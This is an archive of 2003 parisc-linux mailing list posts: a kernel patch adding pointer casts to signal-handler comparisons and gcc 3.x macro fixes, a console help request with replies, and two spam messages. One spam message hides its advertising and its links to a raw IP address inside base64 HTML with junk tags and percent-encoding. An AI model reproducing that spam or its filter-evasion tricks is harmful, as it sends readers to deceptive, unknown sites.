Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 205234829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 11:44:42 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 55ACACD297; Tue,  6 May 2003 10:40:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3EB7766A000003D3@ocpmta7.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18394

> Very clear now, but not easy to implement:
> - which name to give to such a macro
> - where to implement it:

well, in this case you don't need it... i just mention it for the case
where this is needed. Here, you really can just unconditioanlly
compare against (void *)SIG_foo

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 19:56:48 +0200
Lines: 208
Approved: news@gmane.org
Message-ID: <3EB7766A000003EE@ocpmta7.freegates.net>
References: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622429 25417 80.91.229.3 (22 Nov 2014 02:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:49 +0000 (UTC)
Cc: randolph@tausq.org, jbglaw@lug-owl.de,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 11:56:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 689264829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 11:56:58 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 6 May 2003 19:56:48 +0200
In-Reply-To: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18395

>> +#if defined (__hppa__)
>> +	        current->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN);
>> +#else
>>  	        current->sig->action[sig-1].sa.sa_handler == SIG_IGN);
>> +#endif
>
>You don't need to conditionalize the statement with the cast.  It should
>work on all ports.
>
I trust you.

So it will finaly become:
diff -NaurX dontdiff linux-2.4.20-pa33/arch/parisc/kernel/signal.c linux-2.4.20-pa33-gcc33/arch/parisc/kernel/signal.c
--- linux-2.4.20-pa33/arch/parisc/kernel/signal.c	2003-05-06 17:47:32.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/arch/parisc/kernel/signal.c	2003-05-06 18:09:35.000000000
+0200
@@ -489,7 +489,7 @@
 		ka = &current->sig->action[signr-1];
 		DBG(("sa_handler is %x\n", 
 			(unsigned int) ka->sa.sa_handler));
-		if (ka->sa.sa_handler == SIG_IGN) {
+		if (ka->sa.sa_handler == (void *)SIG_IGN) {
 			if (signr != SIGCHLD)
 				continue;
 			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
@@ -497,7 +497,7 @@
 			continue;
 		}
 
-		if (ka->sa.sa_handler == SIG_DFL) {
+		if (ka->sa.sa_handler == (void *)SIG_DFL) {
 			int exit_code = signr;
 
 			/* Init gets no signals it doesn't want.  */
diff -NaurX dontdiff linux-2.4.20-pa33/drivers/char/n_tty.c linux-2.4.20-pa33-gcc33/drivers/char/n_tty.c
--- linux-2.4.20-pa33/drivers/char/n_tty.c	2003-05-06 17:49:36.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/drivers/char/n_tty.c	2003-05-06 19:59:33.000000000
+0200
@@ -810,7 +810,7 @@
 int is_ignored(int sig)
 {
 	return (sigismember(&current->blocked, sig) ||
-	        current->sig->action[sig-1].sa.sa_handler == SIG_IGN);
+	        current->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN);
 }
 
 static void n_tty_set_termios(struct tty_struct *tty, struct termios * old)
diff -NaurX dontdiff linux-2.4.20-pa33/fs/ncpfs/sock.c linux-2.4.20-pa33-gcc33/fs/ncpfs/sock.c
--- linux-2.4.20-pa33/fs/ncpfs/sock.c	2003-05-06 17:50:52.000000000 +0200
+++ linux-2.4.20-pa33-gcc33/fs/ncpfs/sock.c	2003-05-06 19:59:53.000000000
+0200
@@ -466,9 +466,9 @@
 			   What if we've blocked it ourselves?  What about
 			   alarms?  Why, in fact, are we mucking with the
 			   sigmask at all? -- r~ */
-			if (current->sig->action[SIGINT - 1].sa.sa_handler == SIG_DFL)
+			if (current->sig->action[SIGINT - 1].sa.sa_handler == (void *)SIG_DFL)
 				mask |= sigmask(SIGINT);
-			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == SIG_DFL)
+			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == (void *)SIG_DFL)
 				mask |= sigmask(SIGQUIT);
 		}
 		siginitsetinv(&current->blocked, mask);
diff -NaurX dontdiff linux-2.4.20-pa33/fs/proc/array.c linux-2.4.20-pa33-gcc33/fs/proc/array.c
--- linux-2.4.20-pa33/fs/proc/array.c	2002-08-07 07:56:58.000000000 +0200
+++ linux-2.4.20-pa33-gcc33/fs/proc/array.c	2003-05-06 20:00:10.000000000
+0200
@@ -231,9 +231,9 @@
 	if (p->sig) {
 		k = p->sig->action;
 		for (i = 1; i <= _NSIG; ++i, ++k) {
-			if (k->sa.sa_handler == SIG_IGN)
+			if (k->sa.sa_handler == (void *)SIG_IGN)
 				sigaddset(ign, i);
-			else if (k->sa.sa_handler != SIG_DFL)
+			else if (k->sa.sa_handler != (void *)SIG_DFL)
 				sigaddset(catch, i);
 		}
 	}
diff -NaurX dontdiff linux-2.4.20-pa33/kernel/signal.c linux-2.4.20-pa33-gcc33/kernel/signal.c
--- linux-2.4.20-pa33/kernel/signal.c	2002-11-29 07:49:17.000000000 +0100
+++ linux-2.4.20-pa33-gcc33/kernel/signal.c	2003-05-06 20:01:00.000000000
+0200
@@ -126,7 +126,7 @@
 	int i;
 	struct k_sigaction *ka = &t->sig->action[0];
 	for (i = _NSIG ; i != 0 ; i--) {
-		if (ka->sa.sa_handler != SIG_IGN)
+		if (ka->sa.sa_handler != (void *)SIG_IGN)
 			ka->sa.sa_handler = SIG_DFL;
 		ka->sa.sa_flags = 0;
 		sigemptyset(&ka->sa.sa_mask);
@@ -572,7 +572,7 @@
 		return -ESRCH;
 	}
 
-	if (t->sig->action[sig-1].sa.sa_handler == SIG_IGN)
+	if (t->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN)
 		t->sig->action[sig-1].sa.sa_handler = SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending(t);
@@ -1094,8 +1094,8 @@
 		 * the signal to be ignored.
 		 */
 
-		if (k->sa.sa_handler == SIG_IGN
-		    || (k->sa.sa_handler == SIG_DFL
+		if (k->sa.sa_handler == (void *)SIG_IGN
+		    || (k->sa.sa_handler == (void *)SIG_DFL
 			&& (sig == SIGCONT ||
 			    sig == SIGCHLD ||
 			    sig == SIGURG ||
diff -NaurX dontdiff linux-2.4.20-pa33/net/sunrpc/clnt.c linux-2.4.20-pa33-gcc33/net/sunrpc/clnt.c
--- linux-2.4.20-pa33/net/sunrpc/clnt.c	2003-05-06 18:03:20.000000000 +0200
+++ linux-2.4.20-pa33-gcc33/net/sunrpc/clnt.c	2003-05-06 20:01:16.000000000
+0200
@@ -209,9 +209,9 @@
 	/* Turn off various signals */
 	if (clnt->cl_intr) {
 		struct k_sigaction *action = current->sig->action;
-		if (action[SIGINT-1].sa.sa_handler == SIG_DFL)
+		if (action[SIGINT-1].sa.sa_handler == (void *)SIG_DFL)
 			sigallow |= sigmask(SIGINT);
-		if (action[SIGQUIT-1].sa.sa_handler == SIG_DFL)
+		if (action[SIGQUIT-1].sa.sa_handler == (void *)SIG_DFL)
 			sigallow |= sigmask(SIGQUIT);
 	}
 	spin_lock_irqsave(&current->sigmask_lock, irqflags);
diff -NaurX dontdiff linux-2.4.20-pa33/include/linux/compiler.h linux-2.4.20-pa33-gcc33/include/linux/compiler.h
--- linux-2.4.20-pa33/include/linux/compiler.h	2003-05-06 18:01:11.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/include/linux/compiler.h	2003-05-06 18:08:56.000000000
+0200
@@ -1,6 +1,12 @@
 #ifndef __LINUX_COMPILER_H
 #define __LINUX_COMPILER_H
 
+#if (__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
+#define inline		__inline__ __attribute__((always_inline))
+#define __inline__	__inline__ __attribute__((always_inline))
+#define __inline	__inline__ __attribute__((always_inline))
+#endif
+
 /* Somewhere in the middle of the GCC 2.96 development cycle, we implemented
    a mechanism by which the user can annotate likely branch directions and
    expect the blocks to be reordered appropriately.  Define __builtin_expect

If everybody agree is somebody could comit it (I haven't any ci cvs access
and it is better like this :)

Joel

PS: for gcc-3.2 there are still pending patch to be comitted iirc:
diff -NaurX dontdiff linux-2.4.20-pa33/include/asm-parisc/spinlock.h linux-2.4.20-pa33-gcc33/include/asm-parisc/spinlock.h
--- linux-2.4.20-pa33/include/asm-parisc/spinlock.h	2003-05-06 20:19:36.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/include/asm-parisc/spinlock.h	2003-05-06 20:23:14.000000000
+0200
@@ -14,7 +14,7 @@
 	volatile int counter;
 } rwlock_t;
 
-#define RW_LOCK_UNLOCKED (rwlock_t) { SPIN_LOCK_UNLOCKED, 0 }
+#define RW_LOCK_UNLOCKED (rwlock_t) { SPIN_LOCK_UNLOCKED_INIT, 0 }
 
 #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)
 
diff -NaurX dontdiff linux-2.4.20-pa33/include/asm-parisc/spinlock_t.h linux-2.4.20-pa33-gcc33/include/asm-parisc/spinlock_t.h
--- linux-2.4.20-pa33/include/asm-parisc/spinlock_t.h	2003-05-06 20:19:36.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/include/asm-parisc/spinlock_t.h	2003-05-06 20:24:07.000000000
+0200
@@ -47,7 +47,9 @@
 } spinlock_t;
 
 #ifndef CONFIG_DEBUG_SPINLOCK
-#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }
+/* This following change because of gcc-3.2 limits for C99 compilience */
+#define SPIN_LOCK_UNLOCKED_INIT { 1 }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
 
 /* Define 6 spinlock primitives that don't depend on anything else. */
 
@@ -79,7 +81,9 @@
 
 #else
 
-#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1, 0, 0 }
+/* This following change because of gcc-3.2 limits for C99 compilience */
+#define SPIN_LOCK_UNLOCKED_INIT { 1, 0L, 0L }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
 
 /* Define 6 spinlock primitives that don't depend on anything else. */
 
 	spin_lock_irqsave(&current->sigmask_lock, irqflags);



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephen Travers" <STravers@mc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k100 help
Date: Tue, 06 May 2003 15:43:08 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <seb7d821.029@brave.mc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622430 25421 80.91.229.3 (22 Nov 2014 02:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 14:45:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brave.mc.edu (brave.mc.edu [204.198.21.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF6104829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 14:45:42 -0600 (MDT)
Original-Received: from MC-MTA by brave.mc.edu
	with Novell_GroupWise; Tue, 06 May 2003 15:43:29 -0500
X-Mailer: Novell GroupWise Internet Agent 6.0.3
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18396

Hi All,

I need help with my hp 9000/809 (k100).  I have tried installing linux =
with the lastest iso's from the parisc-linux website 6 times.  Through =
research on the mailing lists, i have changed the boot command line to use =
ttyB0 instead of the default ttyS0, but to no avail.

I have downloaded the "pdc" net install iso's from fr.parisc-linux.org.  =
This iso booted (after the ttyB0 change) and the familiar installation =
program loaded the "base system" onto my machine (it found the SCSI =
controlers, disks, and the 100TX network card).  After the base install =
finishes and the system reboots.  Its comes up with the message "this may =
be the last message you see" and it IS the last message i see.  It tells =
me to change my console...

This is where I need help!  How do I "change the console"?  I've tried =
using a standard dumb terminal and i've tried connecting the machine to a =
PC running MicroSoft's Hyperterm.  The machine won't display anything past =
that point.

If its a Kernel change, can i make it on any linux box, or do i need an =
HPPA box running linux to do it?

Thank you for ANY help you can offer me.

-stephen




---------------------------------------
Stephen Travers
Academic Support Spec.
stravers@mc.edu
601.925.3939




From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k100 help
Date: Tue, 6 May 2003 19:21:33 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030507012133.GC822@dsl2.external.hp.com>
References: <seb7d821.029@brave.mc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622430 25422 80.91.229.3 (22 Nov 2014 02:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephen Travers <STravers@mc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 19:21:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 4EBB54829; Tue,  6 May 2003 19:21:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <seb7d821.029@brave.mc.edu>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18397

On Tue, May 06, 2003 at 03:43:08PM -0500, Stephen Travers wrote:
> This is where I need help!  How do I "change the console"?

What's meant here is use a different "console=" parameter.
Not as in "changing the oil" (in your car) or a diaper. ;^)

See the FAQ for how to change parameters in the boot loader.


hth,
grant


From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HSC Visualise 48XP framebuffer question
Date: Tue, 6 May 2003 23:29:14 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <13D2E1D7-803C-11D7-AD01-000393581E44@speakeasy.net>
References: <3.0.2.32.20030507004201.00a1ce60@pop3.xtra.co.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622430 25424 80.91.229.3 (22 Nov 2014 02:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 21:30:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 854024829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 21:30:03 -0600 (MDT)
Original-Received: (qmail 24218 invoked from network); 7 May 2003 03:29:29 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 7 May 2003 03:29:29 -0000
In-Reply-To: <3.0.2.32.20030507004201.00a1ce60@pop3.xtra.co.nz>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18398

On Tuesday, May 6, 2003, at 08:42 US/Eastern, Gavin Hubbard wrote:

> I got permission to keep the card. Unfortunately I'm having trouble 
> finding
> any info about it. Is this card functionally identical to the more
> conventional 48XP found in older C & J class workstations?

Yes, it is.



From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Liliana Wiseman" <lwiseman19@auto-motorrad.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I gotta know...
Date: Wed, 07 May 2003 05:44:31 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <JENOIELJJDOOHGNMPJNIGNCBOIAB.lwiseman19@auto-motorrad.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0C54_EE1BA0A9.A334FC03"
X-Trace: ger.gmane.org 1416622431 25426 80.91.229.3 (22 Nov 2014 02:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 23:43:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from domainregistry.de (modemcable235.91-203-24.cap.mc.videotron.ca [24.203.91.235])
	by dsl2.external.hp.com (Postfix) with SMTP id 462614829
	for <parisc-linux@parisc-linux.org>; Tue,  6 May 2003 23:43:49 -0600 (MDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18399

This is a multi-part message in MIME format.

------=_NextPart_000_0C54_EE1BA0A9.A334FC03
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_0C54_EE1BA0A9.A334FC03
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64

DQo8SFRNTD4NCjxCT0RZIGJnY29sb3I9IiNmZmZmZmYiPjxwIGFsaWduPSJj
ZW50ZXIiPjxZST48Zm9udCBmYWNlPSJ2ZXJkYW5hIj48Sz4NCmdldCA8Wj5s
PENQRk4+YTxRUEE+cmc8WVBQWj5lPFdITlI+ciBudXRzIGFuZCA8WUxBTD5w
ZTxYPm7tcywgDQoJCQkNCiAgbW88S1VVPnI8Sz5lDQogcGxlYTxXPnN1cjxD
PmUsIAkJIDxDVENJPm1vcmUNCiBzYTxZUVNLPnRpPFo+c2ZhPFlZPmN0PFFN
PmlvPFo+bjxicj4NCjxhIGhyZWY9Imh0dHA6Ly82JTM0LjQlMzYuJTMxJTMx
JTM2LiUzNCUzNC8lNjklNmVkZSU3OC4lNzBoJTcwP294JTc5Z2UlNkUiPkZp
bmQgb3V0IG1vcmUgaDxXT0FMPmVyPEs+ZTwvYT48YnI+DQo8YnI+ICAgDQog
PEEgSFJFRj0iaHR0cDovLyUzNjQuNDYuJTMxMSUzNi40NC9pbmRlJTc4LiU3
MCU2OCU3MD9veCU3OWclNjUlNmUiPg0KCQk8SU1HIEJPUkRFUj0wIFNSQz0i
aHR0cDovLyU3NyU3N3cuJTYyJTU1JTc5bW9yZSU0RW8lNzYlNTYuJTZlZXQv
MyUzNSUzNzkxMS9tJTYxJTc4eCU2QyU2NW5ndGgvJTYxZCU3My8lNzNxdWly
JTcyJTY1bCUzMy5qcCU2NyI+PC9hPjxicj48WVNFPjxicj48YnI+DQo8cHJl
PjxYQj4NCi0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLQ0KDQpwYXJpc2MtbGlu
dXhAcGFyaXNjLWxpbnV4Lm9yZyB3cm90ZToNCj4gSSBjYW4gY29tZSENCjxR
RFQ+DQo8L3ByZT4NCjxicj4tPWlvajA5ejI1ZDJsPS08L2ZvbnQ+PC9wPjwv
Qk9EWT4NCiA8L0hUTUw+ICAgDQoNCg==


------=_NextPart_000_0C54_EE1BA0A9.A334FC03--



From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mary Galvan" <m.galvan70@art-domains.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help Please..
Date: Wed, 07 May 2003 14:21:49 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <304f01c314a3$c1fe3a55$53ae1500@qszvly3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_08A5_EA7B81C4.9935CD65"
X-Trace: ger.gmane.org 1416622431 25427 80.91.229.3 (22 Nov 2014 02:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 08:21:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from abcnews.com (pcp03055325pcs.toresd01.pa.comcast.net [68.81.201.225])
	by dsl2.external.hp.com (Postfix) with SMTP id 5569A4829
	for <parisc-linux@parisc-linux.org>; Wed,  7 May 2003 08:21:03 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18400

This is a multi-part message in MIME format.

------=_NextPart_000_08A5_EA7B81C4.9935CD65
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit




